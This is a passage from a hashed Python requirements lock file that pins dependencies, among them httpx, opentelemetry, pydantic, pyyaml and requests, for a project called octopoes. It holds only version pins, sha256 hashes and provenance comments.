--hash=sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8\n    # via httpx\nhttpx==0.28.1 \\\n    --hash=sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc \\\n    --hash=sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad\n    # via octopoes\nidna==3.11 \\\n    --hash=sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea \\\n    --hash=sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902\n    # via\n    #   anyio\n    #   httpx\n    #   requests\n    #   tldextract\nimportlib-metadata==8.7.1 \\\n    --hash=sha256:49fef1ae6440c182052f407c8d34a68f72efc36db9ca90dc0113398f2fdde8bb \\\n    --hash=sha256:5a1f80bf1daa489495071efbb095d75a634cf28a8bc299581244063b53176151\n    # via opentelemetry-api\njsonschema==4.26.0 \\\n    --hash=sha256:0c26707e2efad8aa1bfc5b7ce170f3fccc2e4918ff85989ba9ffa9facb2be326 \\\n    --hash=sha256:d489f15263b8d200f8387e64b4c3a75f06629559fb73deb8fdfb525f2dab50ce\n    # via octopoes\njsonschema-specifications==2025.9.1 \\\n    --hash=sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe \\\n    --hash=sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf02712288397832b5e8d\n    # via jsonschema\nkombu==5.6.2 \\\n    --hash=sha256:8060497058066c6f5aed7c26d7cd0d3b574990b09de842a8c5aaed0b92cc5a55 \\\n    --hash=sha256:efcfc559da324d41d61ca311b0c64965ea35b4c55cc04ee36e55386145dace93\n    # via\n    #   celery\n    #   octopoes\nlink-shorteners==1.14.1 \\\n    --hash=sha256:d0020e5f365372b125bc695bc3b886241ee5d23408d34016565b93e33942b3e0\n    # via octopoes\nopentelemetry-api==1.41.0 \\\n    --hash=sha256:0e77c806e6a89c9e4f8d372034622f3e1418a11bdbe1c80a50b3d3397ad0fa4f \\\n    --hash=sha256:9421d911326ec12dee8bc933f7839090cad7a3f13fcfb0f9e82f8174dc003c09\n    # via\n    #   octopoes\n    #   opentelemetry-exporter-otlp-proto-grpc\n    #   opentelemetry-instrumentation\n    #   opentelemetry-instrumentation-asgi\n    #   opentelemetry-instrumentation-dbapi\n    #   opentelemetry-instrumentation-fastapi\n    #   opentelemetry-instrumentation-httpx\n    #   opentelemetry-instrumentation-psycopg2\n    #   opentelemetry-sdk\n    #   opentelemetry-semantic-conventions\nopentelemetry-exporter-otlp-proto-common==1.41.0 \\\n    --hash=sha256:7a99177bf61f85f4f9ed2072f54d676364719c066f6d11f515acc6c745c7acf0 \\\n    --hash=sha256:966bbce537e9edb166154779a7c4f8ab6b8654a03a28024aeaf1a3eacb07d6ee\n    # via\n    #   octopoes\n    #   opentelemetry-exporter-otlp-proto-grpc\nopentelemetry-exporter-otlp-proto-grpc==1.41.0 \\\n    --hash=sha256:3a1a86bd24806ccf136ec9737dbfa4c09b069f9130ff66b0acb014f9c5255fd1 \\\n    --hash=sha256:f704201251c6f65772b11bddea1c948000554459101bdbb0116e0a01b70592f6\n    # via octopoes\nopentelemetry-instrumentation==0.62b0 \\\n    --hash=sha256:30d4e76486eae64fb095264a70c2c809c4bed17b73373e53091470661f7d477c \\\n    --hash=sha256:aa1b0b9ab2e1722c2a8a5384fb016fc28d30bba51826676c8036074790d2861e\n    # via\n    #   octopoes\n    #   opentelemetry-instrumentation-asgi\n    #   opentelemetry-instrumentation-dbapi\n    #   opentelemetry-instrumentation-fastapi\n    #   opentelemetry-instrumentation-httpx\n    #   opentelemetry-instrumentation-psycopg2\nopentelemetry-instrumentation-asgi==0.62b0 \\\n    --hash=sha256:89b62a6f996b260b162f515c25e6d78e39286e4cbe2f935899e51b32f31027e2 \\\n    --hash=sha256:93cde8c62e5918a3c1ff9ba020518127300e5e0816b7e8b14baf46a26ba619fc\n    # via\n    #   octopoes\n    #   opentelemetry-instrumentation-fastapi\nopentelemetry-instrumentation-dbapi==0.62b0 \\\n    --hash=sha256:5c65e03ac68a71159f2d227b2229714feb03e57294658e54e9f5435d2e55edd2 \\\n    --hash=sha256:d573e388fb7da1cbe8c34b138167dd5c28f840bdcffb25ff0e33dc54fb3e4da7\n    # via\n    #   octopoes\n    #   opentelemetry-instrumentation-psycopg2\nopentelemetry-instrumentation-fastapi==0.62b0 \\\n    --hash=sha256:06d3272ad15f9daea5a0a27c32831aff376110a4b0394197120256ef6d610e6e \\\n    --hash=sha256:e4748e4e575077e08beaf2c5d2f369da63dd90882d89d73c4192a97356637dec\n    # via octopoes\nopentelemetry-instrumentation-httpx==0.62b0 \\\n    --hash=sha256:c7660b939c12608fec67743126e9b4dc23dceef0ed631c415924966b0d1579e3 \\\n    --hash=sha256:d865398db3f3c289ba226e355bf4d94460a4301c0c8916e3136caea55ae18000\n    # via octopoes\nopentelemetry-instrumentation-psycopg2==0.62b0 \\\n    --hash=sha256:5cc6d5f239e71498699c36210b9226f33a329729032a3351225a2c0526df8f25 \\\n    --hash=sha256:c5ed4d271ccaa71b1aecd82c892090715d3bb8d8c7d7a4ae77dc2b685f72fcc6\n    # via octopoes\nopentelemetry-proto==1.41.0 \\\n    --hash=sha256:95d2e576f9fb1800473a3e4cfcca054295d06bdb869fda4dc9f4f779dc68f7b6 \\\n    --hash=sha256:b970ab537309f9eed296be482c3e7cca05d8aca8165346e929f658dbe153b247\n    # via\n    #   octopoes\n    #   opentelemetry-exporter-otlp-proto-common\n    #   opentelemetry-exporter-otlp-proto-grpc\nopentelemetry-sdk==1.41.0 \\\n    --hash=sha256:7bddf3961131b318fc2d158947971a8e37e38b1cd23470cfb72b624e7cc108bd \\\n    --hash=sha256:a596f5687964a3e0d7f8edfdcf5b79cbca9c93c7025ebf5fb00f398a9443b0bd\n    # via\n    #   octopoes\n    #   opentelemetry-exporter-otlp-proto-grpc\nopentelemetry-semantic-conventions==0.62b0 \\\n    --hash=sha256:0ddac1ce59eaf1a827d9987ab60d9315fb27aea23304144242d1fcad9e16b489 \\\n    --hash=sha256:cbfb3c8fc259575cf68a6e1b94083cc35adc4a6b06e8cf431efa0d62606c0097\n    # via\n    #   octopoes\n    #   opentelemetry-instrumentation\n    #   opentelemetry-instrumentation-asgi\n    #   opentelemetry-instrumentation-dbapi\n    #   opentelemetry-instrumentation-fastapi\n    #   opentelemetry-instrumentation-httpx\n    #   opentelemetry-sdk\nopentelemetry-util-http==0.62b0 \\\n    --hash=sha256:a62e4b19b8a432c0de657f167dee3455516136bb9c6ed463ca8063019970d835 \\\n    --hash=sha256:c20462808d8cc95b69b0dc4a3e02a9d36beb663347e96c931f51ffd78bd318ad\n    # via\n    #   octopoes\n    #   opentelemetry-instrumentation-asgi\n    #   opentelemetry-instrumentation-fastapi\n    #   opentelemetry-instrumentation-httpx\npackaging==26.0 \\\n    --hash=sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4 \\\n    --hash=sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529\n    # via\n    #   kombu\n    #   opentelemetry-instrumentation\npika==1.3.2 \\\n    --hash=sha256:0779a7c1fafd805672796085560d290213a465e4f6f76a6fb19e378d8041a14f \\\n    --hash=sha256:b2a327ddddf8570b4965b3576ac77091b850262d34ce8c1d8cb4e4146aa4145f\n    # via octopoes\nprompt-toolkit==3.0.52 \\\n    --hash=sha256:28cde192929c8e7321de85de1ddbe736f1375148b02f2e17edd840042b1be855 \\\n    --hash=sha256:9aac639a3bbd33284347de5ad8d68ecc044b91a762dc39b7c21095fcd6a19955\n    # via click-repl\nprotobuf==6.33.6 \\\n    --hash=sha256:0cd27b587afca21b7cfa59a74dcbd48a50f0a6400cfb59391340ad729d91d326 \\\n    --hash=sha256:77179e006c476e69bf8e8ce866640091ec42e1beb80b213c3900006ecfba6901 \\\n    --hash=sha256:7d29d9b65f8afef196f8334e80d6bc1d5d4adedb449971fefd3723824e6e77d3 \\\n    --hash=sha256:9720e6961b251bde64edfdab7d500725a2af5280f3f4c87e57c0208376aa8c3a \\\n    --hash=sha256:a6768d25248312c297558af96a9f9c929e8c4cee0659cb07e780731095f38135 \\\n    --hash=sha256:c96c37eec15086b79762ed265d59ab204dabc53056e3443e702d2681f4b39ce3 \\\n    --hash=sha256:e2afbae9b8e1825e3529f88d514754e094278bb95eadc0e199751cdd9a2e82a2 \\\n    --hash=sha256:e9db7e292e0ab79dd108d7f1a94fe31601ce1ee3f7b79e0692043423020b0593\n    # via\n    #   googleapis-common-protos\n    #   opentelemetry-proto\npydantic==2.13.0 \\\n    --hash=sha256:ab0078b90da5f3e2fd2e71e3d9b457ddcb35d0350854fbda93b451e28d56baaf \\\n    --hash=sha256:b89b575b6e670ebf6e7448c01b41b244f471edd276cd0b6fe02e7e7aca320070\n    # via\n    #   fastapi\n    #   octopoes\n    #   pydantic-settings\npydantic-core==2.46.0 \\\n    --hash=sha256:0027da787ae711f7fbd5a76cb0bb8df526acba6c10c1e44581de1b838db10b7b \\\n    --hash=sha256:004a2081c881abfcc6854a4623da6a09090a0d7c1398a6ae7133ca1256cee70b \\\n    --hash=sha256:04017ace142da9ce27cafd423a480872571b5c7e80382aec22f7d715ca8eb870 \\\n    --hash=sha256:080a3bdc6807089a1fe1fbc076519cea287f1a964725731d80b49d8ecffaa217 \\\n    --hash=sha256:0a36f2cc88170cc177930afcc633a8c15907ea68b59ac16bd180c2999d714940 \\\n    --hash=sha256:0a52b7262b6cc67033823e9549a41bb77580ac299dc964baae4e9c182b2e335c \\\n    --hash=sha256:0bab80af91cd7014b45d1089303b5f844a9d91d7da60eabf3d5f9694b32a6655 \\\n    --hash=sha256:133b69e1c1ba34d3702eed73f19f7f966928f9aa16663b55c2ebce0893cca42e \\\n    --hash=sha256:15ed8e5bde505133d96b41702f31f06829c46b05488211a5b1c7877e11de5eb5 \\\n    --hash=sha256:16d45aecb18b8cba1c68eeb17c2bb2d38627ceed04c5b30b882fc9134e01f187 \\\n    --hash=sha256:1ac10967e9a7bb1b96697374513f9a1a90a59e2fb41566b5e00ee45392beac59 \\\n    --hash=sha256:1af8d88718005f57bb4768f92f4ff16bf31a747d39dfc919b22211b84e72c053 \\\n    --hash=sha256:1b8d1412f725060527e56675904b17a2d421dddcf861eecf7c75b9dda47921a4 \\\n    --hash=sha256:1c72de82115233112d70d07f26a48cf6996eb86f7e143423ec1a182148455a9d \\\n    --hash=sha256:1d9b841e9c82a9cdf397a720bb8a4f2d6da6780204e1eb07c2d90c4b5b791b0d \\\n    --hash=sha256:1e366916ff69ff700aa9326601634e688581bc24c5b6b4f8738d809ec7d72611 \\\n    --hash=sha256:1e49ffdb714bc990f00b39d1ad1d683033875b5af15582f60c1f34ad3eeccfaa \\\n    --hash=sha256:21067396fc285609323a4db2f63a87570044abe0acddfcca8b135fc7948e3db7 \\\n    --hash=sha256:25988c3159bb097e06abfdf7b21b1fcaf90f187c74ca6c7bb842c1f72ce74fa8 \\\n    --hash=sha256:2629ad992ed1b1c012e6067f5ffafd3336fcb9b54569449fabb85621f1444ed3 \\\n    --hash=sha256:2a3912e0c568a1f99d4d6d3e41def40179d61424c0ca1c8c87c4877d7f6fd7fb \\\n    --hash=sha256:2afd85b7be186e2fe7cdbb09a3d964bcc2042f65bbcc64ad800b3c7915032655 \\\n    --hash=sha256:2c1ec2ced44a8a479d71a14f5be35461360acd388987873a8e0a02f7f81c8ec2 \\\n    --hash=sha256:2d449eae37d6b066d8a8be0e3a7d7041712d6e9152869e7d03c203795aae44ed \\\n    --hash=sha256:2f7e6a3752378a69fadf3f5ee8bc5fa082f623703eec0f4e854b12c548322de0 \\\n    --hash=sha256:3068b1e7bd986aebc88f6859f8353e72072538dcf92a7fb9cf511a0f61c5e729 \\\n    --hash=sha256:311929d9bfdb9fdbaf28beb39d88a1e36ca6dc5424ceca6d3bf81c9e1da2313c \\\n    --hash=sha256:3137cd88938adb8e567c5e938e486adc7e518ffc96b4ae1ec268e6a4275704d7 \\\n    --hash=sha256:3534c3415ed1a19ab23096b628916a827f7858ec8db49ad5d7d1e44dc13c0d7b \\\n    --hash=sha256:38108976f2d8afaa8f5067fd1390a8c9f5cc580175407cda636e76bc76e88054 \\\n    --hash=sha256:3a5a06d8ed01dad5575056b5187e5959b336793c6047920a3441ee5b03533836 \\\n    --hash=sha256:3a95a2773680dd4b6b999d4eccdd1b577fd71c31739fb4849f6ada47eabb9c56 \\\n    --hash=sha256:4103fea1beeef6b3a9fed8515f27d4fa30c929a1973655adf8f454dc49ee0662 \\\n    --hash=sha256:485a23e8f4618a1b8e23ac744180acde283fffe617f96923d25507d5cade62ec \\\n    --hash=sha256:4864f5bbb7993845baf9209bae1669a8a76769296a018cb569ebda9dcb4241f5 \\\n    --hash=sha256:48b671fe59031fd9754c7384ac05b3ed47a0cccb7d4db0ec56121f0e6a541b90 \\\n    --hash=sha256:4f7bfc1ffee4ddc03c2db472c7607a238dbbf76f7f64104fc6a623d47fb8e310 \\\n    --hash=sha256:4f7ff859d663b6635f6307a10803d07f0d09487e16c3d36b1744af51dbf948b2 \\\n    --hash=sha256:4fc801c290342350ffc82d77872054a934b2e24163727263362170c1db5416ca \\\n    --hash=sha256:5078f6c377b002428e984259ac327ef8902aacae6c14b7de740dd4869a491501 \\\n    --hash=sha256:520940e1b702fe3b33525d0351777f25e9924f1818ca7956447dabacf2d339fd \\\n    --hash=sha256:52d35cfb58c26323101c7065508d7bb69bb56338cda9ea47a7b32be581af055d \\\n    --hash=sha256:59d24ec8d5eaabad93097525a69d0f00f2667cb353eb6cda578b1cfff203ceef \\\n    --hash=sha256:5c2c92d82808e27cef3f7ab3ed63d657d0c755e0dbe5b8a58342e37bdf09bd2e \\\n    --hash=sha256:5e157a25eed281f5e40119078e3dbf698c28b3d88ff0176eea3dd37191447b8d \\\n    --hash=sha256:5e7cdd4398bee1aaeafe049ac366b0f887451d9ae418fd8785219c13fea2f928 \\\n    --hash=sha256:60edfb53b13fbe7be9bb51447016b7bcd8772beb8ca216873be33e9d11b2c8e8 \\\n    --hash=sha256:61d0f5951b7b86ec24e24fe0c5a2cce7c360830026dfbe004954e8fac9918b95 \\\n    --hash=sha256:63e288fc18d7eaeef5f16c73e65c4fd0ad95b25e7e21d8a5da144977b35eb997 \\\n    --hash=sha256:66ccedb02c934622612448489824955838a221b3a35875458970521ef17b2f9c \\\n    --hash=sha256:67e2c2e171b78db8154da602de72ffdc473c6ee51de8a9d80c0f1cd4051abfc7 \\\n    --hash=sha256:6ebb2668afd657e2127cb40f2ceb627dd78e74e9dfde14d9bf6cdd532a29ff59 \\\n    --hash=sha256:71186dad5ac325c64d68fe0e654e15fd79802e7cc42bc6f0ff822d5ad8b1ab25 \\\n    --hash=sha256:747d89bd691854c719a3381ba46b6124ef916ae85364c79e11db9c84995d8d03 \\\n    --hash=sha256:7747a50d9f75fe264b9e2091a2f462a7dd400add8723a87a75240106b6f4d949 \\\n    --hash=sha256:7897078fe8a13b73623c0955dfb2b3d2c9acb7177aac25144758c9e5a5265aaa \\\n    --hash=sha256:7904e58768cd79304b992868d7710bfc85dc6c7ed6163f0f68dbc1dcd72dc231 \\\n    --hash=sha256:7d1a058fb5aff8a1a221e7d8a0cf5b0133d069b2f293cb05f174c61bc7cdac34 \\\n    --hash=sha256:7e2db58ab46cfe602d4255381cce515585998c3b6699d5b1f909f519bc44a5aa \\\n    --hash=sha256:82d2498c96be47b47e903e1378d1d0f770097ec56ea953322f39936a7cf34977 \\\n    --hash=sha256:87e6843f89ecd2f596d7294e33196c61343186255b9880c4f1b725fde8b0e20d \\\n    --hash=sha256:8cfc29a1c66a7f0fcb36262e92f353dd0b9c4061d558fceb022e698a801cb8ae \\\n    --hash=sha256:8de8e482fd4f1e3f36c50c6aac46d044462615d8f12cfafc6bebeaa0909eea22 \\\n    --hash=sha256:8e4503f3213f723842c9a3b53955c88a9cfbd0b288cbd1c1ae933aebeec4a1b4 \\\n    --hash=sha256:8ef749be6ed0d69dba31902aaa8255a9bb269ae50c93888c4df242d8bb7acd9e \\\n    --hash=sha256:909a7327b83ca93b372f7d48df0ebc7a975a5191eb0b6e024f503f4902c24124 \\\n    --hash=sha256:90d2048e0339fa365e5a66aefe760ddd3b3d0a45501e088bc5bc7f4ed9ff9571 \\\n    --hash=sha256:a05900c37264c070c683c650cbca8f83d7cbb549719e645fcd81a24592eac788 \\\n    --hash=sha256:a2ab0e785548be1b4362a62c4004f9217598b7ee465f1f420fc2123e2a5b5b02 \\\n    --hash=sha256:a30f5d1d4e1c958b44b5c777a0d1adcd930429f35101e4780281ffbe11103925 \\\n    --hash=sha256:a44f27f4d2788ef9876ec47a43739b118c5904d74f418f53398f6ced3bbcacf2 \\\n    --hash=sha256:a5b891301b02770a5852253f4b97f8bd192e5710067bc129e20d43db5403ede2 \\\n    --hash=sha256:a70247649b7dffe36648e8f34be5ce8c5fa0a27ff07b071ea780c20a738c05ce \\\n    --hash=sha256:a99896d9db56df901ab4a63cd6a36348a569cff8e05f049db35f4016a817a3d9 \\\n    --hash=sha256:aec0be48d2555ceac04905ffb8f2bb7e55a56644858891196191827b6fc656b7 \\\n    --hash=sha256:b1eae8d7d9b8c2a90b34d3d9014804dca534f7f40180197062634499412ea14e \\\n    --hash=sha256:bc0e2fefe384152d7da85b5c2fe8ce2bf24752f68a58e3f3ea42e28a29dfdeb2 \\\n    --hash=sha256:be3e04979ba4d68183f247202c7f4f483f35df57690b3f875c06340a1579b47c \\\n    --hash=sha256:c065f1c3e54c3e79d909927a8cb48ccbc17b68733552161eba3e0628c38e5d19 \\\n    --hash=sha256:c108067f2f7e190d0dbd81247d789ec41f9ea50ccd9265a3a46710796ac60530 \\\n    --hash=sha256:c16ae1f3170267b1a37e16dba5c297bdf60c8b5657b147909ca8774ce7366644 \\\n    --hash=sha256:c3dc68dcf62db22a18ddfc3ad4960038f72b75908edc48ae014d7ac8b391d57a \\\n    --hash=sha256:c4c0a12147b4026dd68789fb9f22f1a8769e457f9562783c181880848bbd6412 \\\n    --hash=sha256:c525ecf8a4cdf198327b65030a7d081867ad8e60acb01a7214fff95cf9832d47 \\\n    --hash=sha256:c660974890ec1e4c65cff93f5670a5f451039f65463e9f9c03ad49746b49fc78 \\\n    --hash=sha256:ca877240e8dbdeef3a66f751dc41e5a74893767d510c22a22fc5c0199844f0ce \\\n    --hash=sha256:ce2e38e27de73ff6a0312a9e3304c398577c418d90bbde97f0ba1ee3ab7ac39f \\\n    --hash=sha256:d14cc5a6f260fa78e124061eebc5769af6534fc837e9a62a47f09a2c341fa4ea \\\n    --hash=sha256:d3be91482a8db77377c902cca87697388a4fb68addeb3e943ac74f425201a099 \\\n    --hash=sha256:d93ca72870133f86360e4bb0c78cd4e6ba2a0f9f3738a6486909ffc031463b32 \\\n    --hash=sha256:dc3d1569edd859cabaa476cabce9eecd05049a7966af7b4a33b541bfd4ca1104 \\\n    --hash=sha256:de5635a48df6b2eef161d10ea1bc2626153197333662ba4cd700ee7ec1aba7f5 \\\n    --hash=sha256:e1155708540f13845bf68d5ac511a55c76cfe2e057ed12b4bf3adac1581fc5c2 \\\n    --hash=sha256:e20bc5add1dd9bc3b9a3600d40632e679376569098345500799a6ad7c5d46c72 \\\n    --hash=sha256:e69ce405510a419a082a78faed65bb4249cfb51232293cc675645c12f7379bf7 \\\n    --hash=sha256:e7a77eca3c7d5108ff509db20aae6f80d47c7ed7516d8b96c387aacc42f3ce0f \\\n    --hash=sha256:ee1547a6b8243e73dd10f585555e5a263395e55ce6dea618a078570a1e889aef \\\n    --hash=sha256:ee6ff79a5f0289d64a9d6696a3ce1f98f925b803dd538335a118231e26d6d827 \\\n    --hash=sha256:ef47ee0a3ac4c2bb25a083b3acafb171f65be4a0ac1e84edef79dd0016e25eaa \\\n    --hash=sha256:f07a5af60c5e7cf53dd1ff734228bd72d0dc9938e64a75b5bb308ca350d9681e \\\n    --hash=sha256:f0d34ba062396de0be7421e6e69c9a6821bf6dc73a0ab9959a48a5a6a1e24754 \\\n    --hash=sha256:f14581aeb12e61542ce73b9bfef2bca5439d65d9ab3efe1a4d8e346b61838f9b \\\n    --hash=sha256:f26a1032bcce6ca4b4670eb3f7d8195bd0a8b8f255f1307823e217ca3cfa7c27 \\\n    --hash=sha256:f68e12d2de32ac6313a7d3854f346d71731288184fbbfc9004e368714244d2cd \\\n    --hash=sha256:fbd01128431f355e309267283e37e23704f24558e9059d930e213a377b1be919 \\\n    --hash=sha256:fd28d13eea0d8cf351dc1fe274b5070cc8e1cca2644381dee5f99de629e77cf3\n    # via pydantic\npydantic-settings==2.13.1 \\\n    --hash=sha256:b4c11847b15237fb0171e1462bf540e294affb9b86db4d9aa5c01730bdbe4025 \\\n    --hash=sha256:d56fd801823dbeae7f0975e1f8c8e25c258eb75d278ea7abb5d9cebb01b56237\n    # via octopoes\npygments==2.20.0 \\\n    --hash=sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f \\\n    --hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176\n    # via octopoes\npyparsing==3.3.2 \\\n    --hash=sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d \\\n    --hash=sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc\n    # via octopoes\npython-dateutil==2.9.0.post0 \\\n    --hash=sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3 \\\n    --hash=sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427\n    # via celery\npython-dotenv==1.2.2 \\\n    --hash=sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a \\\n    --hash=sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3\n    # via pydantic-settings\npyyaml==6.0.3 \\\n    --hash=sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c \\\n    --hash=sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3 \\\n    --hash=sha256:02ea2dfa234451bbb8772601d7b8e426c2bfa197136796224e50e35a78777956 \\\n    --hash=sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6 \\\n    --hash=sha256:10892704fc220243f5305762e276552a0395f7beb4dbf9b14ec8fd43b57f126c \\\n    --hash=sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65 \\\n    --hash=sha256:1d37d57ad971609cf3c53ba6a7e365e40660e3be0e5175fa9f2365a379d6095a \\\n    --hash=sha256:214ed4befebe12df36bcc8bc2b64b396ca31be9304b8f59e25c11cf94a4c033b \\\n    --hash=sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1 \\\n    --hash=sha256:28c8d926f98f432f88adc23edf2e6d4921ac26fb084b028c733d01868d19007e \\\n    --hash=sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310 \\\n    --hash=sha256:37503bfbfc9d2c40b344d06b2199cf0e96e97957ab1c1b546fd4f87e53e5d3e4 \\\n    --hash=sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea \\\n    --hash=sha256:418cf3f2111bc80e0933b2cd8cd04f286338bb88bdc7bc8e6dd775ebde60b5e0 \\\n    --hash=sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e \\\n    --hash=sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac \\\n    --hash=sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9 \\\n    --hash=sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7 \\\n    --hash=sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35 \\\n    --hash=sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb \\\n    --hash=sha256:5e0b74767e5f8c593e8c9b5912019159ed0533c70051e9cce3e8b6aa699fcd69 \\\n    --hash=sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b \\\n    --hash=sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c \\\n    --hash=sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd \\\n    --hash=sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824 \\\n    --hash=sha256:66291b10affd76d76f54fad28e22e51719ef9ba22b29e1d7d03d6777a9174198 \\\n    --hash=sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065 \\\n    --hash=sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c \\\n    --hash=sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c \\\n    --hash=sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764 \\\n    --hash=sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196 \\\n    --hash=sha256:8098f252adfa6c80ab48096053f512f2321f0b998f98150cea9bd23d83e1467b \\\n    --hash=sha256:850774a7879607d3a6f50d36d04f00ee69e7fc816450e5f7e58d7f17f1ae5c00 \\\n    --hash=sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac \\\n    --hash=sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8 \\\n    --hash=sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e \\\n    --hash=sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28 \\\n    --hash=sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3 \\\n    --hash=sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5 \\\n    --hash=sha256:9c7708761fccb9397fe64bbc0395abcae8c4bf7b0eac081e12b809bf47700d0b \\\n    --hash=sha256:9f3bfb4965eb874431221a3ff3fdcddc7e74e3b07799e0e84ca4a0f867d449bf \\\n    --hash=sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5 \\\n    --hash=sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702 \\\n    --hash=sha256:b30236e45cf30d2b8e7b3e85881719e98507abed1011bf463a8fa23e9c3e98a8 \\\n    --hash=sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788 \\\n    --hash=sha256:b8bb0864c5a28024fac8a632c443c87c5aa6f215c0b126c449ae1a150412f31d \\\n    --hash=sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc \\\n    --hash=sha256:bdb2c67c6c1390b63c6ff89f210c8fd09d9a1217a465701eac7316313c915e4c \\\n    --hash=sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba \\\n    --hash=sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5 \\\n    --hash=sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26 \\\n    --hash=sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f \\\n    --hash=sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b \\\n    --hash=sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be \\\n    --hash=sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c \\\n    --hash=sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6 \\\n    --hash=sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0\n    # via octopoes\nreferencing==0.37.0 \\\n    --hash=sha256:381329a9f99628c9069361716891d34ad94af76e461dcb0335825aecc7692231 \\\n    --hash=sha256:44aefc3142c5b842538163acb373e24cce6632bd54bdb01b21ad5863489f50d8\n    # via\n    #   jsonschema\n    #   jsonschema-specifications\nrequests==2.33.1 \\\n    --hash=sha256:18817f8c57c6263968bc123d237e3b8b08ac046f5456bd1e307ee8f4250d3517 \\\n    --hash=sha256:4e6d1ef462f3626a1f0a0a9c42dd93c63bad33f9f1c1937509b8c5c8718ab56a\n    # via\n    #   octopoes\n    #   requests-file\n    #   tldextract\nrequests-file==3.0.1 \\\n    --hash=sha256:d0f5eb94353986d998f80ac63c7f146a307728be051d4d1cd390dbdb59c10fa2 \\\n    --hash=sha256:f14243d7796c588f3521bd423c5dea2ee4cc730e54a3cac9574d78aca1272576\n    # via tldextract\nrpds-py==0.30.0 \\\n    --hash=sha256:07ae8a593e1c3c6b82ca3292efbe73c30b61332fd612e05abee07c79359f292f \\\n    --hash=sha256:0a59119fc6e3f460315fe9d08149f8102aa322299deaa5cab5b40092345c2136 \\\n    --hash=sha256:0c0e95f6819a19965ff420f65578bacb0b00f251fefe2c8b23347c37174271f3 \\\n    --hash=sha256:0d08f00679177226c4cb8c5265012eea897c8ca3b93f429e546600c971bcbae7 \\\n    